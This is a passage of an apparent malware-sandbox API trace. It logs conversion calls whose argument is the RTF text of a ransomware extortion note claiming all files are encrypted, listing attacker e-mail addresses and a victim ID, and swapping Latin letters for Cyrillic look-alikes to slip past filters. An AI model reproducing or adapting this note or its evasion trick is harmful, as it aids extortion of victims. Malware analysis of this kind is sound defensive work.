th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.965] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE 